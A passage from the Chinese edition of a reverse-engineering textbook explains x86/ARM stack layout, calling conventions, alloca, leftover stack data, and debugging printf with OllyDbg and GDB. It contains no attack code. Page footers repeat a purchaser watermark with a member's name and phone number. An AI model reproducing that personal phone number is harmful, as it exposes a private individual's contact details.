栈 栈是计算机科学里最重要且最基础的数据结构之一。 ① 虽然x86/x64 的栈已经很难理解了,但是ARM的栈却更为复杂。ARM的栈分为递增栈和递减栈。递减 栈(descending stack)的首地址是栈的最高地址,栈向低地址增长,栈指针的值随栈的增长而减少,如 STMFD/LDMFD、STMED/LDMED等指令都是递减栈的操作指令。而ARM的递增栈(ascending stack)的 首地址则占用栈的最低地址,栈向高地址增长,栈指针的值随栈的增长而增加,如STMFA/LMDFA、 STMEA/LDMEA等指令都是递增栈的操作指令。 从技术上说,栈就是 CPU 寄存器里的某个指针所指向的一片内存区域。这里所说的“某个指针”通常 位于 x86/x64 平台的 ESP 寄存器/RSP 寄存器,以及 ARM 平台的 SP 寄存器。 操作栈的最常见的指令是 PUSH 和 POP,在 x86 和 ARM Thumb 模式的指令集里都有这两条指令。PUSH 指令会对 ESP/RSP/SP 寄存器的值进行减法运算,使之减去 4(32 位)或 8(64 位),然后将操作数写到上 述寄存器里的指针所指向的内存中。 POP 指令是 PUSH 指令的逆操作:它先从栈指针(Stack Pointer,上面三个寄存器之一)指向的内存中 读取数据,用以备用(通常是写到其他寄存器里),然后再将栈指针的数值加上 4 或 8。 在分配栈的空间之后,栈指针,即 Stack Pointer 所指向的地址是栈的底部。PUSH 将减少栈指针的数 值,而 POP 会增加它的数值。栈的“底”实际上使用的是整个栈的最低地址,即是整个栈的启始内存地址。 虽然听起来很奇怪,但是实际上确实如此。 ② 5.1 为什么栈会逆增长 多数人想象中的“增长”,是栈从低地址位向高地址位增长,似乎这样才符合自然规律。然而研究过栈 的人知道,多数的栈是逆增长的,它会从高地址向低地址增长。 这多数还得归功于历史原因。当计算机尚未小型化的时候,它还有数个房间那么大。在那个时候,内 存就分为两个部分,即“堆/heap”和“栈/stack”。当然,在程序执行过程中,堆和栈到底会增长到什么地 步并不好说,所以人们干脆把它们分开: 有兴趣的读者可以查阅参考文献 RT74,其中有这样一段话: 程序镜像(进程)在逻辑上分为 3 个段。从虚拟地址空间的 0 地址位开始,第一个段是文本段(也 称为代码段)。文本段在执行过程中不可写,即使一个程序被执行多次,它也必须共享 1 份文本段。 ① 请参见 http://en.wikipedia.org/wiki/Call_stack。 ② 这些指令所对应的英文全称,分别是 Store Multiple Full Descending、Load Multiple Full Descending、Store Multiple Empty Descending、Load Multiple Empty Descending 、Store Multiple Full Ascending 、Load Multiple Full Ascending 、Store Multiple Empty Ascending、 Load Multiple Empty Ascending。其中的 Full/Empty 的区别在于:如果指针指向的地址是最新操作的值,那么它就 是 Full stack;而指针指向的地址没有值、是下一个值将写到的地址,那么这个栈就是 Empty stack。 堆的起点 堆 栈 栈的起点 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 5 章 栈 27 在程序虚拟空间中,文本段 8k bytes 边界之上,是不共享的、可写的数据段。程序可以通过调用系统 函数调整其数据段的大小。栈启始于虚拟地址空间的最高地址,它应随着硬件栈指针的变化而自动地 向下增长。 这就好比用同一个笔记本给两门课程做笔记:第一门的笔记可以按照第一页往最后一页的顺序写;然而 在做第二门的笔记时,笔记本要反过来用,也就是要按照从最后一页往第一页的顺序写笔记。至于笔记本 什么时候会用完,那就要看笔记本有多厚了。 5.2 栈的用途 5.2.1 保存函数结束时的返回地址 x86 当程序使用 call 指令调用其他函数时,call 指令结束后的返回地址将被保存在栈里;在 call 所调用的 函数结束之后,程序将执行无条件跳转指令,跳转到这个返回地址。 CALL 指令等价于“PUSH 返回地址”和“JMP 函数地址”的指令对。 被调用函数里的 RET 指令,会从栈中读取返回地址,然后跳转到这个地址,就相当于“POP 返回地 址”+“JMP 返回地址”指令。 栈是有限的,溢出它很容易。直接使用无限递归,栈就会满: void f() { f(); }; 如果使用 MSVC 2008 编译上面的问题程序,将会得到报告: c:\tmp6>cl ss.cpp /Fass.asm Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 15.00.21022.08 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. ss.cpp c:\tmp6\ss.cpp(4) : warning C4717:’f’ : recursive on all control paths. Function will cause runtime stack overflow 但是它还是会老老实实地生成汇编文件: ?f@@YAXXZ PROC ; f ; File c:\tmp6\ss.cpp ; Line 2 push ebp mov ebp, esp ; Line 3 call ?f@@YAXXZ ; f ; Line 4 pop ebp ret 0 ?f@@YAXXZ ENDP ; f 有趣的是,如果打开优化选项“/Ox”,生成的程序反而不会出现栈溢出的问题,而且还会运行得很“好”: ?f@@YAXXZ PROC ; f ; File c:\tmp6\ss.cpp ; Line 2 $LL3@f: ; Line 3 jmp SHORT $LL3@f ?f@@YAXXZ ENDP ; f 异步社区会员 dearfuture(15918834820) 专享 尊重版权 28 逆向工程权威指南(上册) 无论是否开启优化选项,GCC 4.4.1 生成的代码都和 MSVC 生成的代码相似,只是 GCC 不会发布任何警告。 ARM ARM 程序也使用栈保存返回地址,只是略有不同。在 3.4 节中,我们看到“Hello, World!”程序的返 回地址保存在 LR (link register)寄存器里。但是,如果程序还会继续调用其他函数,就需要在调用函数之前 保存 LR 寄存器的值。通常,函数会在启动过程中(序言处)保存 LR 寄存器的值。我们通常在函数序言 处看到“PUSH R4-R7,LR”,并在尾声处看到“POP R4-R7,PC”。这些指令会对函数自身将要用到的寄 存器进行保护,把它们的值存放在栈中——当然,这其中也包括 LR 寄存器。 如果一个函数不调用其他函数,它就像树上的枝杈末端的叶子那样。这种函数就叫作“叶函数(leaf function)” ①。叶函数的特点是,它不必保存LR寄存器的值。如果叶函数的代码短到用不到几个寄存器, 那么它也可能根本不会使用数据栈。所以,调用叶函数的时候确实可能不会涉及栈操作。这种情况下,因 为这种代码不在外部内存RAM进行与栈有关的操作,所以它的运行速度有可能超过x86 系统 ② 5.2.2 参数传递 。在没有分 配栈或者不可能用栈的时候,这类函数就会显现出“寸有所长”的优势。 本书介绍了很多的叶函数。请参见 8.3.2 节、8.3.3 节、15.2 节、15.4 节、17.3 节、19.5.4 节、19.17 节、19.33 节中演示的程序。 在x86 平台的程序中,最常用的参数传递约定是cdecl ③ ESP 。以cdecl方式处理参数,其上下文大体是这个样子: push arg3 push arg2 push arg1 call f add esp, 12 4*3=12 被调用方函数(Callee functions)通过栈指针获取其所需的参数。 在运行 f()函数之前,传递给它的参数将以以下格式存储在内存里。 返回地址 ESP+4 arg1, 它在 IDA 里记为 arg_0 ESP+8 arg2, 它在 IDA 里记为 arg_4 ESP+0xC arg3, 它在 IDA 里记为 arg_8 …… …… 本书第 64 章将会详细介绍有关的调用约定(Calling conventions)。需要注意的是,程序员可以使用栈 来传递参数,也可以不使用栈传递参数。参数处理方面并没有相关的硬性规定。 例如,程序员可以在堆(heap)中分配内存并用之传递参数。在堆中放入参数之后,可以利用EAX寄 存器为函数传递参数。这种做法确实行得通。 ④ ① 参照 http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.faqs/ka13785.html。部分文献又称叶函数为“末端函数” ② 多年以前,在 PDP-11 和 VAX 平台上,调用函数的指令效率很低;在运行程序的时候,差不多近半的耗时都花在互相调用的 指令上。以至于当时普遍认为、“大规模调用功能较少的函数”的程序就是垃圾程序。 ③ 此外还有 stdcall、fastcall、thiscall 等。Windows 上很多程序使用 stdcall。 ④ Donald Knuth 在《The Art of Computer Programming》 一书的 14.1 节专门介绍了子程序。读者能够发现他提到了一种方法, 通过 JMP 跳转到子程序并在子程序的入口处即刻提取所需参数。Knuth 的这种方法在 System/360 上非常实用。 只是在x86 系统和ARM系统上,使用栈处理参数已经成为 了约定俗成的习惯,而且它的确十分方便。 另外,被调用方函数并不知晓外部向它传递了多少个参数。如果函数可处理的参数数量可变,它就需 要说明符(多数以%号开头)进行格式化说明、明确参数信息。拿我们常见的 printf()函数来说: printf("%d %d %d", 1234); 这个命令不仅会让 printf()显示 1234,而且还会让它显示数据栈内 1234 之后的两个地址的随机数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 5 章 栈 29 由此可知,声明 main()函数的方法并不是那么重要。我们可以将之声明为 main(),main(int argc, char *argv[])或 main(int argc, char *argv[], char *envp[])。 实际上 CRT 中调用 main()的指令大体上是下面这个样子的。 push envp push argv push argc call main … 即使我们没有在程序里声明 main()函数便用哪些参数,程序还可以照常运行;参数依旧保存在栈里, 只是不会被主函数调用罢了。如果将 main()函数声明为 main(int argc, char*argv[]),程序就能够访问到前两 个参数,但仍然无法使用第三个参数。除此以外,也可以声明为 main( int argc),主函数同样可以运行。 5.2.3 存储局部变量 通过向栈底调整栈指针(stack pointer)的方法,函数即可在数据栈里分配出一片可用于存储局部变量 的内存空间。可见,无论函数声明了多少个局部变量,都不影响它分配栈空间的速度。 虽然您的确可以在栈以外的任何地方存储局部变量,但是用数据栈来存储局部变量已经是一种约定俗 成的习惯了。 5.2.4 x86:alloca()函数 alloca()函数很有特点。 ① ① 在 MSVC 编译环境里,它的实现方式可在目录 C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\crt\src\intel 下的 alloca16.asm 和 chkstk.asm 中找到。 大体来说,alloca()函数直接使用栈来分配内存,除此之外,它与 malloc()函数没有显著的区别。 函数尾声的代码会还原 ESP 的值,把数据栈还原为函数启动之前的状态,直接抛弃由 alloca()函数分 配的内存。所以,程序不需要特地使用 free()函数来释放由这个函数申请的内存。 alloca() 函数的实现方法至关重要。 简要地说,这个函数将以所需数据空间的大小为幅度、向栈底调整 ESP 的值,此时 ESP 就成为了新的 数据空间的指针。我们一起做个试验: #ifdef __GNUC__ #include <alloca.h> // GCC #else #include <malloc.h> // MSVC #endif #include <stdio.h> void f() { char *buf=(char*)alloca (600); #ifdef __GNUC__ snprintf (buf, 600, "hi! %d, %d, %d\n", 1, 2, 3); // GCC #else _snprintf (buf, 600, "hi! %d, %d, %d\n", 1, 2, 3); // MSVC #endif puts (buf); }; snprint()函数的功能和 printf()函数的功能差不多。printf()将输出结果输出到 stdout(也就是终端 terminal 或 console 一类的输出设备上),而 snprintf()则将结果输出到 buf 数组(人工设定的缓冲区)、我们需要通过 puts()函数才能将 buf 的内容输出到 stdout。当然,printf()函数就足以完成_snprint()和 puts()两个函数的功能。 本文意在演示缓冲区的用法,所以刻意把它拆分为 2 个函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 30 逆向工程权威指南(上册) MSVC 现在使用 MSVC 2010 编译上面的代码,得到的代码段如下所示。 指令清单 5.1 MSVC 2010 ... mov eax, 600 ; 00000258H call __alloca_probe_16 mov esi, esp push 3 push 2 push 1 push OFFSET $SG2672 push 600 ; 00000258H push esi call __snprintf push esi call _puts add esp, 28 ; 0000001cH ... 由于 alloca()函数是编译器固有函数(参见本书第 90 章),并非常规函数的缘故,这个程序没有使用栈, 而是使用 EAX 寄存器来传递 alloca()函数唯一的参数。在调用 alloca()函数之后,ESP 将指向 600 字节大小 的内存区域,用以存储数组 buf。 GCC Intel 语体 在编译上述代码时,GCC 4.4.1 同样不会调用外部函数。 指令清单 5.2 GCC 4.7.3 .LC0: .string "hi! %d, %d, %d\n" f: push ebp mov ebp, esp push ebx sub esp, 660 lea ebx, [esp+39] and ebx, -16 ; align pointer by 16-bit border mov DWORD PTR [esp], ebx ; s mov DWORD PTR [esp+20], 3 mov DWORD PTR [esp+16], 2 mov DWORD PTR [esp+12], 1 mov DWORD PTR [esp+8], OFFSET FLAT:.LC0 ; "hi! %d, %d, %d\n" mov DWORD PTR [esp+4], 600 ; maxlen call _snprintf mov DWORD PTR [esp], ebx ; s call puts mov ebx, DWORD PTR [ebp-4] leave ret GCC+ AT&T 语体 接下来让我们看看 AT&T 语体的指令。 指令清单 5.3 GCC 4.7.3 .LC0: .string "hi! %d, %d, %d\n" f: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 5 章 栈 31 pushl %ebp movl %esp, %ebp pushl %ebx subl $660, %esp leal 39(%esp), %ebx andl $-16, %ebx movl %ebx, (%esp) movl $3, 20(%esp) movl $2, 16(%esp) movl $1, 12(%esp) movl $.LC0, 8(%esp) movl $600, 4(%esp) call _snprintf movl %ebx, (%esp) call puts movl -4(%ebp), %ebx leave ret 它与 Intel 语体的代码没有实质区别。 其中,“movl $3, 20(%esp)”对应 Intel 语体的“mov DWORD PTR [esp+20], 3”指令。在以“寄存器+ 偏移量”的方式寻址时,AT&T 语体将这个寻址表达式显示为“偏移量(%寄存器)”。 5.2.5 (Windows)SEH 结构化异常处理 如果程序里存在 SEH 记录,那么相应记录会保存在栈里。 本书将在 68.3 节里进行更详细的介绍。 5.2.6 缓冲区溢出保护 本书将在 18.2 节里进行更详细的介绍。 5.3 典型的栈的内存存储格式 在 32 位系统中,在程序调用函数之后、执行它的第一条指令之前,栈在内存中的存储格式一般如下表所示。 … …… ESP-0xC 第 2 个局部变量,在 IDA 里记为 var_8 ESP-8 第 1 个局部变量,在 IDA 里记为 var_4 ESP-4 保存的 EBP 值 ESP 返回地址 ESP+4 arg1, 在 IDA 里记为 arg_0 ESP+8 arg2, 在 IDA 里记为 arg_4 ESP+0xC arg3, 在 IDA 里记为 arg_8 … …… 5.4 栈的噪音 本书会经常使用“噪音”、“脏数据”这些词汇。它们怎么产生的呢?待函数退出以后,原有栈空间里 的局部变量不会被自动清除。它们就成为了栈的“噪音”、“脏数据”。我们来看下面这段代码。 #include <stdio.h> void f1() { int a=1, b=2, c=3; }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 32 逆向工程权威指南(上册) void f2() { int a, b, c; printf ("%d, %d, %d\n", a, b, c); }; int main() { f1(); f2(); }; 使用 MSVC 2010 编译后可得到如下所示的代码。 指令清单 5.4 Non-optimizing MSVC 2010 $SG2752 DB '%d, %d, %d', 0aH, 00H _c$ = -12 ; size = 4 _b$ = -8 ; size = 4 _a$ = -4 ; size = 4 _f1 PROC push ebp mov ebp, esp sub esp, 12 mov DWORD PTR _a$[ebp], 1 mov DWORD PTR _b$[ebp], 2 mov DWORD PTR _c$[ebp], 3 mov esp, ebp pop ebp ret 0 _f1 ENDP _c$ = -12 ; size = 4 _b$ = -8 ; size = 4 _a$ = -4 ; size = 4 _f2 PROC push ebp mov ebp, esp sub esp, 12 mov eax, DWORD PTR _c$[ebp] push eax mov ecx, DWORD PTR _b$[ebp] push ecx mov edx, DWORD PTR _a$[ebp] push edx push OFFSET $SG2752 ; ’%d, %d, %d’ call DWORD PTR __imp__printf add esp, 16 mov esp, ebp pop ebp ret 0 _f2 ENDP main PROC push ebp mov ebp, esp call _f1 call _f2 xor eax, eax pop ebp ret 0 _main ENDP 编译器会给出提示: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 5 章 栈 33 c:\Polygon\c>cl st.c /Fast.asm /MD Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. st.c c:\polygon\c\st.c(11) : warning C4700: uninitialized local variable 'c' used c:\polygon\c\st.c(11) : warning C4700: uninitialized local variable 'b' used c:\polygon\c\st.c(11) : warning C4700: uninitialized local variable 'a' used Microsoft (R) Incremental Linker Version 10.00.40219.01 Copyright (C) Microsoft Corporation. All rights reserved. /out:st.exe st.obj 可是运行它的结果却是: c:\Polygon\c>st 1, 2, 3 天,真奇怪!虽然我们没有给 f2()的任何变量赋值,但是变量自己有自己的值。f2()函数的值就是栈里 残存的脏数据。 我们使用 OllyDbg 打开这个程序,如图 5.1 所示。 图 5.1 使用 OllyDbg 查看 f1()函数的数据栈 在 f1()函数给变量 a、b、c 赋值后,数值存储于 0x1FF860 开始的连续地址里。 然后,在执行 f2()时,情况如图 5.2 所示。 图 5.2 使用 OllyDbg 查看 f2()函数的数据栈 f2()函数的三个变量的地址,和 f1()函数的三个变量的地址相同。因为没有对这个空间进行重新赋值, 所以那三个变量会因为地址相同的原因获得前三个变量的值。 在这个特例里,第二个函数在第一个函数之后执行,而第二个函数变量的地址和 SP 的值又与第一个 异步社区会员 dearfuture(15918834820) 专享 尊重版权 34 逆向工程权威指南(上册) 函数的情况相同。所以,相同地址的变量获得的值相同。 总而言之,在运行第二个函数时,栈中的所有值(即内存中的单元)受前一个函数的影响,而获得了 前一个函数的变量的值。严格地说,这些地址的值不是随机值,而是可预测的伪随机值。 有没有办法清除脏数据呢?我们可以在每个函数执行之前清除其开辟的栈空间的数据。不过,即使这 是一种技术上可行的方法,但是因为这种方法开销太大、而且必要性很低,所以没有人这样做。 5.5 练习题 5.5.1 题目 1 如果使用 MSVC 编译、运行下列程序,将会打印出 3 个整数。这些数值来自哪里?如果使用 MSVC 的优化选项“/Ox”,程序又会在屏幕上输出什么?为什么 GCC 的情况完全不同? #include <stdio.h> int main() { printf ("%d, %d, %d\n"); return 0; }; 答案请参见 G1.1。 5.5.2 题目 2 请问描述下述程序的功能。 经 MSVC 2010(启用/Ox 选项)编译而得的代码如下。 指令清单 5.5 Optimizing MSVC 2010 $SG3103 DB '%d', 0aH, 00H _main PROC push 0 call DWORD PTR __imp___time64 push edx push eax push OFFSET $SG3103 ; ’%d’ call DWORD PTR __imp__printf add esp, 16 xor eax, eax ret 0 _main ENDP 指令清单 5.6 经 Keil 6/2013(启用优化选项)编译而得的 ARM 模式代码 main PROC PUSH {r4,lr} MOV r0,#0 BL time MOV r1,r0 ADR r0,|L0.32| BL __2printf MOV r0,#0 POP {r4,pc} ENDP |L0.32| 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 5 章 栈 35 DCB "%d\n",0 指令清单 5.7 经 Keil 6/2013(启用优化选项)编译而得的 Thumb 模式代码 main PROC PUSH {r4,lr} MOVS r0,#0 BL time MOVS r1,r0 ADR r0,|L0.20| BL __2printf MOVS r0,#0 POP {r4,pc} ENDP |L0.20| DCB "%d\n",0 指令清单 5.8 经 GCC 4.9(启用优化选项)编译而得的 ARM64 模式代码 main: stp x29, x30, [sp, -16]! mov x0, 0 add x29, sp, 0 bl time mov x1, x0 ldp x29, x30, [sp], 16 adrp x0, .LC0 add x0, x0, :lo12:.LC0 b printf .LC0: .string "%d\n" 指令清单 5.9 经 GCC 4.4.5(启用优化选项)编译而得的 MIPS 指令(IDA) main: var_10 = -0x10 var_4 = -4 lui $gp, (__gnu_local_gp >> 16) addiu $sp, -0x20 la $gp, (__gnu_local_gp & 0xFFFF) sw $ra, 0x20+var_4($sp) sw $gp, 0x20+var_10($sp) lw $t9, (time & 0xFFFF)($gp) or $at, $zero jalr $t9 move $a0, $zero lw $gp, 0x20+var_10($sp) lui $a0, ($LC0 >> 16) # "%d\n" lw $t9, (printf & 0xFFFF)($gp) lw $ra, 0x20+var_4($sp) la $a0, ($LC0 & 0xFFFF) # "%d\n" move $a1, $v0 jr $t9 addiu $sp, 0x20 $LC0: .ascii "%d\n"<0> # DATA XREF: main+28 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 66 章 章 pprriinnttff(())函 函数 数与 与参 参数 数传 传递 递 现在我们对 Hello, world! 程序稍做修改,演示它的参数传递的过程。 #include <stdio.h> int main() { printf("a=%d; b=%d; c=%d", 1, 2, 3); return 0; }; 6.1 x86 6.1.1 x86:传递 3 个参数 MSVC 使用 MSVC 2010 express 编译上述程序,可得到下列汇编指令: $SG3830 DB 'a=%d; b=%d; c=%d’, 00H ... push 3 push 2 push 1 push OFFSET $SG3830 call _printf add esp, 16 ; 00000010H 这与最初的 Hello World 程序相差不多。我们看到 printf()函数的参数以逆序存入栈里,第一个参数在最后入栈。 在 32 位环境下,32 位地址指针和 int 类型数据都占据 32 位/4 字节空间。所以,我们这里的四个参数 总共占用 4×4=16(字节)的存储空间。 在调用函数之后,“ADD ESP, X”指令修正 ESP 寄存器中的栈指针。通常情况下,我们可以通过 call 之后的这条指令判断参数的数量:变量总数=X÷4。 这种判断方法仅适用于调用约定为cdecl的程序。本书将在第 64 章详细介绍各种函数约定 ① ① calling convention,又有“调用规范”“调用协定”等译法。 。 如果某个程序连续地调用多个函数,且调用函数的指令之间不夹杂其他指令,那么编译器可能把释放 参数存储空间的“ADD ESP,X”指令进行合并,一次性地释放所有空间。例如: push a1 push a2 call ... ... push a1 call ... ... push a1 push a2 push a3 call ... add esp, 24 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 37 如下是一个规定中的例子。 指令清单 6.1 x86 .text:100113E7 push 3 .text:100113E9 call sub_100018B0 ; takes one argument (3) .text:100113EE call sub_100019D0 ; takes no arguments at all .text:100113F3 call sub_10006A90 ; takes no arguments at all .text:100113F8 push 1 .text:100113FA call sub_100018B0 ; takes one argument (1) .text:100113FF add esp, 8 ; drops two arguments from stack at once 使用 OllyDbg 调试 MSVC 编译出的程序 现在我们在 OllyDbg 中加载这个范例。OllyDbg 是非常受欢迎的 user-land(用户空间)win32 debugger。 在使用 MSVC 2012 编译这个样本程序的时候,启用/MD 选项,可使可执行程序与 MSVCR*.DLL 建立动态 链接。这样,我们就能在 debugger 里清楚地观察到程序从标准库里调用函数的过程。 在 OllyDbg 里调用可执行文件,将第一个断点设为 ntdll.dll,然后按 F9 键执行。然后把第二个断点设 置在 CRT-code 里。我们应该能够找到 main()主函数。 因为 MSVC 将 main()函数分配到代码段的开始处,所以只要向下滚屏就能够在底部找到 main()函数体。 如图 6.1 所示。 图 6.1 使用 OllyDbg:查看 main()函数的启动部分 单击 PUSH EBP 指令,按 F2 设置断点,再按 F9 键运行。这么做是为了跳过 CRT-code,因为我们的 目的不是分析 CRT 代码。 而后按 6 次 F8 键,就是说跳过 6 条指令。如图 6.2 所示。 图 6.2 使用 OllyDbg:定位到调用 printf()之前的指令 此时,指令指针 PC 指向 CALL printf 指令。与其他主流的调试器相同,OllyDbg 调试器会加亮显示所有发 生过变化的寄存器。每按一次 F8 键,EIP 的值都会发生变化,所以这个寄存器一直被高亮显示。在这个例子中, ESP 同样会被 OllyDbg 高亮显示,因为在这几步调试中 ESP 寄存器的值也发生了变化。 栈里的数值在哪呢?我们看一下 debugger 的右下角,如图 6.3 所示。 此处的内容分为 3 列:栈地址列、数值列及 OllyDbg 的注释列。OllyDbg 能够识别 printf()这样的指令 字符串,按照其指令的形式把它所引用的三个值进行了整理。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 38 逆向工程权威指南(上册) 我们还可以使用鼠标的右键单击 printf()的格式化字符串、单击下拉菜单中的“Follow in dump”,这样 屏幕左下方将会显示出格式化字符串的输出结果。调试器左下方的这个区域用于显示内存中的部分数据。 我们同样可以编辑这些值。如果修改格式化字符串,那么程序的输出结果就会发生变化。在这个例子中, 我们还用不上这样的功能,但是我们可以练练手,从而进一步熟悉调试器。 按下 F8 键,单步执行(Step Over)。 我们将会看到图 6.4 所示的输出结果。 图 6.3 使用 OllyDbg:观察 PUSH 指令 图 6.4 printf() 函数的输出结果 造成的栈值变化(红色方块内) 寄存器和栈状态的变化过程如图 6.5 所示。 图 6.5 使用 OllyDbg:观察 printf()运行后的数据栈 现在,EAX 寄存器的值是 0xD(即 13)。这个值是 printf()函数所打印的字符总数,所以这个值没有问 题。EIP 寄存器的值发生了变化,实际上它是在执行 CALL printf 指令后的 PC。与此同时,ECX 和 EDX 寄存器的值也发生了变化;显然 printf()函数在运行过程中会使用这两个寄存器。 这里最重要的现象是 ESP 的值和栈里的参数都没有发生变化。我们可以观察到数据栈里的、传递给 printf()函数的字符串和其他 3 个参数的值原封未动。这是 cdecl 调用约定的特征:被调用方函数不负责恢复 ESP 的状态;调用方函数(caller function)负责还原参数所用的栈空间。 继续按 F8 键,执行“ADD ESP, 10”指令,如图 6.6 所示。 图 6.6 使用 OllyDbg:观察“ADD ESP,10”指令运行之后的状态 ESP 寄存器的值有变化,但是栈中的数据还在那里。因为程序没有把原有栈的数据进行置零(也没有必 要清除这些值),所以保留在栈指针 SP 之上的(原有地址)参数值就成为了噪音(noise)或者脏数据(garbage), 失去了使用的价值。另外,清除全部噪音的操作十分耗时,程序员完全没有必要刻意地去这么做。 GCC 现在我们使用 GCC 4.4.1 编译这个程序,并使用 IDA 打开可执行文件: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 39 main proc near var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 10h mov eax, offset aADBDCD ; "a=%d; b=%d; c=%d" mov [esp+10h+var_4], 3 mov [esp+10h+var_8], 2 mov [esp+10h+var_C], 1 mov [esp+10h+var_10], eax call _printf mov eax, 0 leave retn main endp 与 MSVC 生成的程序相比,GCC 生成的程序仅在参数入栈的方式上有所区别。在这个例子中,GCC 没有使用 PUSH/POP 指令,而是直接对栈进行了操作。 GCC 和 GDB GDB 就是 GNU debugger。 在 Linux 下,我们通过下述指令编译示例程序。其中,“−g”选项表示在可执行文件中生成 debug 信息。 $ gcc 1.c –g –o 1 接下来对可执行文件进行调试。 $ gdb 1 GNU gdb (GDB) 7.6.1-ubuntu Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/dennis/polygon/1...done. 指令清单 6.2 在 printf()函数开始之前设置调试断点 (gdb) b printf Breakpoint 1 at 0x80482f0 然后运行程序。我们的程序里没有 printf() 的源代码,所以 GDB 也无法显示相应源代码。但是,这并 不妨碍我们调试程序。 (gdb) run Starting program: /home/dennis/polygon/1 Breakpoint 1, __printf (format=0x80484f0 "a=%d; b=%d; c=%d") at printf.c:29 29 printf.c: No such file or directory. 继而令 GDB 显示栈里的 10 个数据,其中左边第一列是栈地址。 (gdb) x/10w $esp 0xbffff11c: 0x0804844a 0x080484f0 0x00000001 0x00000002 0xbffff12c: 0x00000003 0x08048460 0x00000000 0x00000000 0xbffff13c: 0xb7e29905 0x00000001 第一个元素就是返回地址 RA(0x0804844a)。为了验证这点,我们让 GDB 显示出这个地址开始的指令: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 40 逆向工程权威指南(上册) (gdb) x/5i 0x0804844a 0x804844a <main+45>: mov $0x0,%eax 0x804844f <main+50>: leave 0x8048450 <main+51>: ret 0x8048451: xchg %ax,%ax 0x8048453: xchg %ax,%ax ret 之后的 XCHG 指令与 NOP 指令等效。x86 平台并没有专用的 NOP 指令,实际上,多数采用 RISC 的 CPU 的指令集里也没有专用的 NOP 指令。 栈中的第二个数据(0x080484f0)是字符串格式的内存地址(指针): (gdb) x/s 0x080484f0 0x80484f0: "a=%d; b=%d; c=%d" 紧接其后的三个数据,是传递给 printf()函数的余下的三个参数。栈中其余的数据,可能是脏数据,也 可能是其他函数的数据或局部变量等数据。没有必要进行深究。 此后,我们执行“finish”指令,令调试器“继续执行余下的指令、直到函数结束为止”。在我们的例 子里,这条指令将引导 GDB 执行 printf()函数,到它退出为止。 (gdb) finish Run till exit from #0 __printf (format=0x80484f0 "a=%d; b=%d; c=%d") at printf.c:29 main () at 1.c:6 6 return 0; Value returned is $2 = 13 GDB 显示:在 printf()退出时,EAX 寄存器的值为 13。这个值是函数打印的字符的总数,其结果与 OllyDbg 的结果相同。 GDB 显示出了程序的源代码“return 0;”,它是 1.c 文件里第六行的指令。实际上 1.c 文件就在当前目 录里,GDB 在源文件里找到了汇编指令对应的源代码。GDB 又是如何知道当前的指令对应源代码的哪一 行呢?这就要归功于编译器所生成的调试信息了。如果启用了保存调试信息的选项,那么编译器在编译程 序的时候,会生成源代码的行号与对应的指令地址之间的对应关系表,把它一并保存在可执行文件里。 我们一起检查下 EAX 寄存器里到底是不是 13: (gdb) info registers eax 0xd 13 ecx 0x0 0 edx 0x0 0 ebx 0xb7fc0000 -1208221696 esp 0xbffff120 0xbffff120 ebp 0xbffff138 0xbffff138 esi 0x0 0 edi 0x0 0 eip 0x804844a 0x804844a <main+45> ... 使用下述指令反汇编当前的指令。图中箭头指向的是接下来将要运行的指令。 (gdb) disas Dump of assembler code for function main: 0x0804841d <+0>: push %ebp 0x0804841e <+1>: mov %esp,%ebp 0x08048420 <+3>: and $0xfffffff0,%esp 0x08048423 <+6>: sub $0x10,%esp 0x08048426 <+9>: movl $0x3,0xc(%esp) 0x0804842e <+17>: movl $0x2,0x8(%esp) 0x08048436 <+25>: movl $0x1,0x4(%esp) 0x0804843e <+33>: movl $0x80484f0,(%esp) 0x08048445 <+40>: call 0x80482f0 <printf@plt> => 0x0804844a <+45>: mov $0x0,%eax 0x0804844f <+50>: leave 0x08048450 <+51>: ret End of assembler dump. 默认情况下,GDB 会以 AT&T 语体显示汇编指令。我们可以通过下述指令,令 GDB 采用 Intel 语体: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 6 章 printf()函数与参数调用 41 (gdb) set disassembly-flavor intel (gdb) disas Dump of assembler code for function main: 0x0804841d <+0>: push ebp 0x0804841e <+1>: mov ebp, esp 0x08048420 <+3>: and esp , 0xfffffff0 0x08048423 <+6>: sub esp, 0x10 0x08048426 <+9>: mov DWORD PTR [esp+0xc],0x3 0x0804842e <+17>: mov DWORD PTR [esp+0x8],0x2 0x08048436 <+25>: mov DWORD PTR[esp+0x4],0x1 0x0804843e <+33>: mov DWORD PTR[esp], 0x80484f0 0x08048445 <+40>: call 0x80482f0 <printf@plt> => 0x0804844a <+45>: mov eax, 0x0 0x0804844f <+50>: leave 0x08048450 <+51>: ret End of assembler dump. 单步调试。此处,GDB 用大括号表示这里是函数的结束部分。 (gdb) step 7 }; 在执行过“MOV EAX, 0”指令之后,EAX 会被置零。我们对此进行验证: (gdb) info registers eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xb7fc0000 -1208221696 esp 0xbffff120 0xbffff120 ebp 0xbffff138 0xbffff138 esi 0x0 0 